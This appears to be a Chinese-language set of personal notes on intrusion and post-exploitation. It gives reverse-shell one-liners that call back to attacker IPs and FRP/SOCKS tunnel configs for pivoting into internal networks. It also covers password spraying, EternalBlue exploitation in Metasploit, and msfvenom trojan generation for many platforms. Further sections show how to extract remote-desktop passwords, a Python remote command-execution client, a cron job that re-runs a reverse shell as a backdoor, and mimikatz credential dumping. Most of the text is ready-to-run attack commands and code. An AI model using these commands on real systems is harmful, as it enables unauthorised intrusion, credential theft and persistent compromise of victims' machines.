反弹Shell
反弹Shell
就是将被控端的Shell
终端反弹到我们的服务端从而实现远程控制他的Shell
的效果~
这个反弹Shell的效果其实和我们的ssh远程连接差不多
Linux系统
在Linux系统中控制端需要下载nc工具
yum install nc
yum install glibc*
然后开启监听
nc -lvvp 55555
被控端如果没有nc的话就是使用
bash -i>& /dev/tcp/192.168.10.2/55555 0>&1
sh -i>& /dev/tcp/192.168.10.2/55555 0>&1
有nc工具的情况下被控端弹Shell是这样
nc 192.168.10.2 55555 -e /bin/bash
Windows系统
win系统下的nc下载地址
https://eternallybored.org/misc/netcat/
nc64.exe 192.168.10.2 55555 -e cmd.exe
nc64.exe 192.168.10.2 55555 -e powershell.exe
控制端命令和Linux一致
隧道搭建
以外网的攻陷机
作为跳板搭建隧道
可以将攻击流量转发到内网
frp工具GitHub链接:https://github.com/fatedier/frp/releases/tag/v0.55.1
嗯~这个最新版的frp似乎并不是那么的好用,至少我不会用新版的。。
在攻陷机下载工具
直接使用webshell工具上传
使用文件上传点进行上传
使用服务器的python搭建一个临时的ftp服务
命令为
python -m http.server 1024
在shell中如果无法使用快捷指令ctrl + c
关闭端口则需要使用以下方法进行关闭
ps aux | grep http.server
kill 进程
frps (frp server服务端)
搭建一个代理服务端,接受frpc转发的路由
frpc(frpc client客户端)
将本地的路 由转发到frps(服务端)
.ini (frp配置文件)
frpc.ini
客户端的配置文件
[common]
server_addr = 39.x.x.x # 服务器的IP地址
server_port = 7000 # 服务器端口(不是面板端口)
[http]
type = tcp # 默认tcp
local_ip = 127.0.0.1 # 要转发的IP地址
local_port = 80 # 要转发的端口
remote_port = 8080 # 转发到服务端的端口,本人初次端口使用6000不知道为什么浏览器访问不到改成8080才成功
frps.ini
服务端的配置文件
[common]
bind_port = 7000 # 监听端口
token = test@123.com
dashboard_port = 7001 # web面板端口
dashboard_user = test # 用户名
dashboard_pwd = test # 密码
frp的使用
服务器端
frps -c frps.ini
经过以上的配置你就会成功的把frpc中的local_port
端口也就是攻陷机的端口转发到frps中也就是你的服务器的8080端口
socks5
隧道
在前面已经介绍了frp 的常规使用方法,但是通过这种方法所搭建出来的还不能算是隧道
他只能算是一个端口映射,也就是说将这个内网中的某个端口映射到公网服务器上访问,但是还是不能等同于我们已经进入了这内网,所以接下来的隧道搭建要使用 socks5 来搭建
使用socks5隧道的话需要配置frpc.ini
[common]
server_addr = 10.10.10.1
server_port = 7000
token = test@123.com
[socks5]
type = tcp
plugin = socks5
remote_port = 8081
plugin_user = test # 登录账户名
plugin_passwd = test1234 # 密码
use_encryption = true
use_compression = true
socks隧道
优点:直接进入内网
缺点:不支持icmp协议
ssh
隧道
ssh隧道的安全性以及隐蔽性都要远远高于frp隧道,并且他的搭建步骤十分简单不需要服务器就可以进入对方的内网服务器。
但是有些硬性要求要满足才能使用
对方在公网上开放了ssh的端口
你知道他的真实公网IP
你知道他ssh的账号密码
满足以上条件才可以使用ssh隧道
命令如下
ssh -CfNg -D 本地端口 跳板机账号@跳板机IP # 动态端口转发
-C: 压缩传输
-f: 将 ssh 转入后台
-N: 静默连接
-g: 允许远程主机连接本地用于端口转发
-D: 动态端口转发
在 windows
系统中执行ssh的隧道时进程往往需要自己手动关闭,关闭cmd窗口但ssh连接依旧会在后台保持。所以我们需要自己手动杀进程
tasklist | findstr ssh # 寻找名字ssh的进程PID
taskkill /PID 15200 /F # 杀死PID为15200的进程
在windows系统中如果使用cmd直接ssh隧道连接往往有的时候会自己掉线。所以我更推荐使用ssh隧道连接工具来进行连接
这里个人使用的是 shell 在官网下载好xshell之后打开新建连接
这个位置根据个人情况进行选择连接
重点来了
这里点击 隧道
这里选择 socks5/4
的代理类型
这个时候的监听端口就写你本地想开到哪个端口就用哪个端口,我这里使用1234端口做示例
点击确定之后再点击连接即可完成ssh隧道的连接
在浏览器中使用代理工具进行连接
类型选择socks5
Hostname写你本地的IP地址127.0.0.1
端口就填你刚刚写的监听端口(我刚刚写的是1234所以这里也写1234)
保存配置即可。至此隧道搭建成功
信息收集
网络信息
知道内网里面,大概有多少终端设备!
知道网络的拓扑情况!
通过工具去扫描~
ping 通就代表是存活的!
网络扫描工具:fscan hping nci
fscan h #看帮助
fscan h ip地址 #默认使用所有模块进行扫描
fscan h 192.168.10.3/24 #扫描整个10网段
fscan h 192.168.10.3/24 np #不去探测存活,默认去扫描
top100的端口!
fscan h 192.168.10.3 np p 1-65535 #扫描所有端口!
-nopoc #不去做poc的验证
#fscan走隧道来做扫描(不落地)
#socks隧道!
fscan h 192.168.10.3/24 np socks5 用户名:密码@ip:端口
#socks不支持icmp协议!
内网的信息收集和web的一样都十分重要。他将决定了我们内网的攻击范围
如果当前主机的ip段扫不出内容! 直接扫192.168的B段!
fscan.exe h 192.168.1.1/16
172.0.0.1 - 172.30.255.255 #都是内网段!
10.0.0.1 - 10.255.255.255
Linux信息收集
ip a #查看网络信息
whoami #查看当前用户
uname a #查看当前系统信息
cat /etc/shadow #linux的hash密码
查看旁站,拿到旁站的信息!(帐号密码)
redis、mysql等服务的帐号密码
常见的密码规则: 单位名称+@+年份 tengxun@2023
windows信息收集
whoami #查看当前用户
ipconfig #查看网络信息
systeminfo #当前系统的版本,补丁,域环境
通过内存去抓取本机密码
浏览器帐号密码!
浏览器的历史记录!
运维人员!经常会把文档(包含帐号密码),放在桌面!
登录QQ、微信~
QQ、微信:发一个文件过来,这个文件会被自动接收~
文档(Word、Excel、PDF),图片(JPG、PNG、GIF)
存储数据的路径:
C\Users\用户名\Documents
*.pdf
*.doc
*.xls xlsx
*.png
*.jpg
内网密码喷洒
首先,先用扫描工具,扫描出当前内网有哪些
ssh
telnet
smb
rdp
mysql
redis....
需要做登录的服务。都是需要帐号和密码的!
做密码喷洒! 做爆破!
做出这种字典
tengxun@2022
Tengxun@2021
TengXun@2023
TX@2024
Msfconsole
Metasploit Framework(MSF)
是一款开源安全漏洞检测/利用工具,附带数千个已知的软件漏洞,并保持持续更新。
msf安装
kali中有自带
脚本安装(ubuntu)
#!/bin/sh
print_pgp_key() {
cat <<-EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
2vTa24LE0J2DQg==
=Qa/n
-----END PGP PUBLIC KEY BLOCK-----
EOF
}
install_deb() {
LIST_FILE=/etc/apt/sources.list.d/metasploit-framework.list
PREF_FILE=/etc/apt/preferences.d/pin-metasploit.pref
echo -n "Adding metasploit-framework to your repository list.."
echo "deb $DOWNLOAD_URI/apt lucid main" > $LIST_FILE
print_pgp_key | apt-key add -
if [ ! -f $PREF_FILE ]; then
mkdir -p /etc/apt/preferences.d/
cat > $PREF_FILE <<EOF
Package: metasploit*
Pin: origin downloads.metasploit.com
Pin-Priority: 1000
EOF
fi
echo -n "Updating package cache.."
apt-get update > /dev/null
echo "OK"
echo "Checking for and installing update.."
apt-get install -y --allow-downgrades metasploit-framework
}
install_rpm() {
echo "Checking for and installing update.."
REPO_FILE=/etc/yum.repos.d/metasploit-framework.repo
GPG_KEY_FILE=/etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
echo -n "Adding metasploit-framework to your repository list.."
cat > /etc/yum.repos.d/metasploit-framework.repo <<EOF
[metasploit]
name=Metasploit
baseurl=$DOWNLOAD_URI/rpm
gpgcheck=1
gpgkey=file://$GPG_KEY_FILE
enabled=1
EOF
print_pgp_key > ${GPG_KEY_FILE}
yum install -y metasploit-framework
}
install_suse() {
echo "Checking for and installing update.."
GPG_KEY_FILE_DIR=/etc/pki/rpm-gpg
GPG_KEY_FILE=${GPG_KEY_FILE_DIR}/RPM-GPG-KEY-Metasploit
echo -n "Adding metasploit-framework to your repository list.."
if [ ! -d $GPG_KEY_FILE_DIR ]; then
mkdir -p $GPG_KEY_FILE_DIR
fi
zypper ar -f $DOWNLOAD_URI/rpm metasploit
print_pgp_key > ${GPG_KEY_FILE}
rpmkeys --import ${GPG_KEY_FILE}
zypper install -y metasploit-framework
}
install_pkg()
{
(
cd ~/Downloads
echo "Downloading package..."
curl -O "$DOWNLOAD_URI/osx/metasploitframework-latest.pkg"
echo "Checking signature..."
if pkgutil --check-signature metasploitframework-latest.pkg; then
echo "Installing package..."
installer -pkg metasploitframework-latest.pkg -target /
fi
echo "Cleaning up..."
rm -fv metasploitframework-latest.pkg
)
}
DOWNLOAD_URI=http://downloads.metasploit.com/data/releases/metasploit-framework
PKGTYPE=unknown
ID=`id -u`
if [ -f /etc/redhat-release ] ; then
PKGTYPE=rpm
elif [ -f /etc/system-release ] ; then
# If /etc/system-release is present, this is likely a distro that uses RPM.
PKGTYPE=rpm
else
if uname -sv | grep 'Darwin' > /dev/null; then
PKGTYPE=pkg
elif [ -f /usr/bin/zypper ] ; then
PKGTYPE=sus
else
PKGTYPE=deb
fi
fi
if [ "$ID" -ne 0 ]; then
if ! hash sudo 2>/dev/null; then
echo "This script must be executed as the 'root' user or with sudo"
exit 1
else
echo "Switching to root user to update the package"
sudo -E $0 $@
exit 0
fi
fi
case $PKGTYPE in
deb)
install_deb
;;
sus)
install_suse
;;
rpm)
install_rpm
;;
*)
install_pkg
esac
简单的漏洞利用(MS17_010)
永恒之蓝:远程命令执行!(RCE漏洞)
msfconsole #进入框架
search ms17_010 # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
info #使用info查看模块信息
show options
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数
set RHOST 192.168.100.158 #设置参数
set target 1 #设置攻击win7
exploit / run #攻击
后渗透阶段 #后渗透阶段
chcp 65001 #解决乱码
936 =GBK(显示中文用的)
437=MS-DOS的默认字符集
65001=UTF-8
模块
即相应漏洞的攻击模块
payload(攻击载荷)
针对不同系统攻击后要做的事情
generic/shell_reverse_tcp #获得shell>
windows/x64/meterpreter/reverse_tcp #获得meterpreter>
后渗透
Meterpreter命令
Meterpreter > ?
==========================================
核心命令:
==========================================
命令 说明
------- ------------
? 帮助菜单
background 把当前会话挂到后台运行
bg background命令的别名
bgkill 杀死后台meterpreter 脚本
bglist 列出正在运行的后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭一个频道
detach 分离Meterpreter会话(用于 http/https)
disable_unicode_encoding 禁用 unicode 字符串的编码
enable_unicode_encoding 启用 unicode 字符串的编码
exit 终止 Meterpreter 会话
get_timeouts 获取当前会话超时值
guid 获取会话 GUID
help 帮助菜单
info 显示有关 Post 模块的信息
irb 在当前会话中打开一个交互式 Ruby shell
load 加载一个或多个 Meterpreter 扩展
machine_id 获取连接到会话的机器的 MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理枢轴侦听器
pry 在当前会话上打开 Pry 调试器
quit 终止 Meterpreter 会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行一个 Meterpreter 脚本或 Post 模块
secure (重新)协商会话上的 TLV 数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 安静,然后重新建立会话
ssl_verify 修改 SSL 证书验证设置
transport 管理运输机制
use 不推荐使用的load命令别名
uuid 获取当前会话的 UUID
write 将数据写入通道
==========================================
Stdapi:文件系统命令
==========================================
命令 说明
------- ------------
cat 将文件内容读到屏幕上
cd 切换目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
download 下载文件或目录
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 制作目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
==========================================
Stdapi:网络命令
==========================================
命令 说明
------- ------------
arp 显示主机 ARP 缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示接口
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表
==========================================
Stdapi:系统命令
==========================================
命令 说明
------- ------------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getid 获取服务器运行的用户的 SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重启远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用 RevertToSelf()
shell 放入系统命令 shell
shutdown 关闭远程计算机
steal_token 尝试从目标进程窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如 OS
==========================================
Stdapi:用户界面命令
==========================================
命令 说明
------- ------------
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件
==========================================
Stdapi:网络摄像头命令:
==========================================
命令 说明
------- ------------
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 从指定的网络摄像头播放视频流
==========================================
Stdapi:音频输出命令:
==========================================
命令 说明
------- ------------
play 在目标系统上播放波形音频文件 (.wav)
==========================================
Priv:权限提升命令:
==========================================
命令 说明
------- ------------
getsystem 尝试将您的权限提升到本地系统的权限。
==========================================
Priv:密码数据库命令:
==========================================
命令 说明
------- ------------
hashdump 转储 SAM 数据库的内容
==========================================
Priv:Timestomp 命令:
==========================================
命令 说明
------- ------------
timestomp 操作文件 MACE 属性
meterpreter >
生成C2马
C2 全称为Command and Control,命令与控制。
生成WindowsC2马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.132 lport=6666 -f exe -o test.exe
#-p 是载荷
#lhost是我们的主机ip
#lport是我们主机的用于监听的端口
#-f 木马类型
#-o 输出文件名
安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f asp > shell.asp
ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f aspx > shell.aspx
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.jsp
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.py
msf监听
msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler # 监听木马反弹过来的shell
msset payload windows/x64/meterpreter/reverse_tcp
# 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set lhost 192.168.100.132 # 我们的kali本机ip
set lport 6666 # 我们的kali本机端口
exploit # 开始进行监听;
msf隧道
meterpreter >> route #查看路由信息
meterpreter >> run autoroute -s ip #将受陷机路由添加到msf路由表
meterpreter >> background #退出会话
msf >> sessions #查看会话
msf >> sessions -i 会话id #进入会话
msf >> search socks #搜索代理模块
msf >> run #开启代理
msf >> srvhost ip地址 #只允许谁代理?
远控
信息收集
tasklist #进程信息
Todesk - todesk.exe
向日葵 - SunloginClient.exe
TeamViewer - TeamViewer_Service.exe
ToDesk
默认安装路径
C:/Program Files (x86)/ToDesk/config.ini
ToDesk_Lite
#利用powershell建立http连接下载exe
powershell -c Invoke-WebRequest -Uri "https://dl.todesk.com/windows/ToDesk_Lite.exe" -OutFile "todesk_lite.exe"
#打开todesk_lite.exe以后通过type读取默认路径的配置文件
type C:\ProgramData\ToDesk_Lite\config.ini
配置文件中
tempAuthPassEx为临时密码
authPassEx为安全密码
ps:Todesk_lite在每次连接完后,会自动重置连接密码
ToDesk静默安装
ToDesk_Setup.exe /S
#静默安装,所有选项均是默认的
type C:/Program Files (x86)/ToDesk/config.ini
#通过type读配置文件
内网Todesk进程
#通过执行 tasklist 查看当前系统是否有Todesk.exe进程
tasklist
#有的话执行下方语句,获取进程运行路径
wmic process where name="ToDesk.exe" get processid,executablepath,name
#接下来就是读取配置文件连接远控
type
向日葵
最新版
向日葵强化了加密机制,将config中的信息写入到内存中
tasklist /v | findstr /i sunlogin
#查看向日葵进程信息
procdump64.exe -accepteula -ma 进程号
#通过procdump工具将指定内存号的内心信息dump下来
ps:进场号一般选当前用户的subloginClient.exe进程
https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
然后将dump出来的内存数据放入winhex进行查找
在winhex中按住 ctrl+alt+x (查询十六进制数据)
查找下方数据
79616865692E323820633D636F6C6F725F65646974203E
比较新的版本
在向日葵v11.1.2.38529
中,强化了加密机制,删除了配置文件config.ini
中的fastcode
(本机识别码)字段和encry_pwd
(本机验证码)字段,而将这些敏感信息放到了注册表中,我们可以通过注册表查询使用Sunflower_get_Password
[5]工具即可解密。
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
老版本
配置文件
#安装版
C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
#便携版
C:\ProgramData\Oray\SunloginClient\config.ini
密码解密工具
https://github.com/wafinfo/Sunflower_get_Password?ref=pythonrepo.com
GotoHttp
Socket
import socket #自带的包
Server
import socket
# 定义服务器ip、端口
ip_ad = ('127.0.0.1', 9999)
# 创建socket对象
sk = socket.socket()
# 绑定ip端口
sk.bind(ip_ad)
# 开启监听
sk.listen()
print('服务器已经开启......')
# 等待接收客户端信息
conn, addr = sk.accept()
print('客户端地址:', addr)
while True:
data = ''
while True:
# 等待接收客户端信息,接收到信息并非是字节格式,所以需要解码才能被正常识别【decode('utf-8')】
cli_data = conn.recv(1024).decode('utf-8')
data += cli_data
if (':lalala' in cli_data):
break
print('接收到的客户端数据:', data)
# 发送信息给客户端,发送的信息非字节格式,需要先转换格式【encode('utf-8'))】
sen_data = input('输入要发送的内容:')
conn.sendall(sen_data.encode('utf-8'))
if sen_data == 'exit':
break
# 断开连接
sk.close()
Client
import socket
import os
# 创建一个socket对象
sk = socket.socket()
# 连接服务器的IP地址和端口号
sk.connect(('127.0.0.1', 9999))
# 向服务器发送信息,需要先将信息转换成字节格式(使用encode('utf-8')),才能被服务器识别
sk.sendall('@ok:lalala'.encode('utf-8'))
# 进入无限循环,不断接收和处理来自服务器的信息
while True:
# 接收来自服务器的信息,接收到的信息是字节形式,所以需要解码才能被正常识别
ser_data = sk.recv(1024).decode('utf-8')
print('接收到的服务端数据:', ser_data)
# 如果接收到的信息不是'exit'
if ser_data != 'exit':
# 执行接收到的命令,并获取执行结果
res = os.popen(ser_data).read()
# 如果命令执行结果不为空
if res:
# 向服务器发送命令执行结果,需要先将结果转换成字节格式(使用encode('utf-8')),才能被服务器识别
sk.sendall(res.encode('utf-8') + b'@ok:lalala')
else:
# 如果命令执行结果为空,向服务器发送'@no:lalala'通知
sk.sendall('@no:lalala'.encode('utf-8'))
else:
# 如果接收到的信息为'exit',跳出循环
break
# 断开与服务器的连接
sk.close()
# 退出程序
exit()
Plugin
# 定义一个函数,用于扫描指定IP地址上指定端口是否开放
def port_scan(ip, port):
# 创建一个socket对象
s_port = socket.socket()
try:
# 设置超时时间为0.5秒
s_port.settimeout(0.5)
# 连接到指定IP地址和端口号
s_port.connect((str(ip), int(port)))
# 如果连接成功,则返回True
return True
except:
# 如果连接失败,则返回False
return False
# 定义一个函数,用于检查指定IP地址是否可以ping通
def ip_scan(ip):
# 调用系统命令执行ping操作,并将结果保存到变量res中
res = os.popen(f"ping -n 1 {ip}").read()
# 如果结果中包含"TTL"字符串,则表示ping通了,返回True
if('TTL' in res):
return True
else:
# 否则表示ping不通,返回False
return False
权限
提权
Linux
SUID/SGID提权
什么是SUID?
SUID全称Set User ID,当小写字母s出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限
。
SGID :获得用户组的权限
find / -perm -u=s -type f 2>/dev/null //查找suid文件
find / -perm -g=s -type f 2>/dev/null //查找sgid文件
内核提权
收集信息:内核版本、系统版本
searchsploit -t expname
Windows
执行systeminfo查看打了哪些补丁
维权
Linux
隐藏文件
touch .shell.php
修改文件时间
touch -r index.php webshell.php
#将index.php的时间给webshell.php
touch -t 1401021042 webshell.php
#直接给时间戳
隐藏权限
chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php 删除文件
SUID后门马
chmod u+s /tmp/shell
SSH免密公钥
ssh-keygen -t rsa
其中 id_rsa
为私钥,id_rsa.pub
为公钥,接下来打开id_rsa.pub
,将内容复制到服务器。将id_rsa.pub
的内容追加到/root/.ssh/authorized_keys
内,配置完成。
crontab定时任务
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1
将上面shell脚本创建并添加S权限
chmod +sx /etc/evil.sh
进入任务设置
crontab -e
##########
*/1 * * * * root /etc/evil.sh
Windows
隐藏文件
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r D:\1.txt
进程迁移
msf:
migrate pid
cs:
进程列表 -> 注入
注册表自启动
regedit
# Run键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Winlogon\Userinit键
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
组策略
gpedit.msc
服务自启动
sc create "KeyName" binpath= "C:\2.bat"
sc description KeyName "Just For Test" //设置服务的描述字符串
sc config Keyname start= auto //设置这个服务为自动启动
net start Keyname //启动服务
定时任务
创建一个名为test的定时任务,执行的文件是test.bat,执行的频率是每天的9点
schtasks /create /tn test /tr E:\test.bat /sc daily /st 9:00
schtasks /create /tn test /tr E:\test.bat /sc daily /mo 1
#一分钟执行一次
域渗透
域内信息收集
查看域环境
ipconfig /all # 查看⽹卡信息
systeminfo #查看系统信息
net config workstation #查看当前登录域和域用户
nslookup lalala.com #定位域控
net view (查看域内在线主机)
net view /domain (查看当前有几个域环境)
net user /domain (查看域内有哪些用戶)
net group /domain (查看域内组信息)
这⾥可以看⻅组较多,这⾥列出⼏个关键组了解⼀下。
*Domain Admins 管理员组
*Domain Computers 主机名
*Domain Controllers 域控组
*Enterprise Admins 企业级管理员
可以通过 net group 组名 /domain
来查看组内⽤户
mimikatz基本使用
常用命令
:: 显示帮助指令
cls 清空
privilege 权限相关
::debug 提升 mimikatz 权限
standard 标准模块,基本命令
::msv 列出 LM 和 NTML 凭证
::kerberos 列出 kerberos 凭证
::logonPasswords 列出 所有可⽤的凭据
::minidump 载⼊ lsass 内存⽂件
::pth pass-the-hash 哈希传递
lsadump lsadump 模块
::dcsync 获取指定⽤户信息
kerberos kerberos 模块
::list 列出票据
::purge 清空票据
抓取密码
privilege::debug #获得调试模式
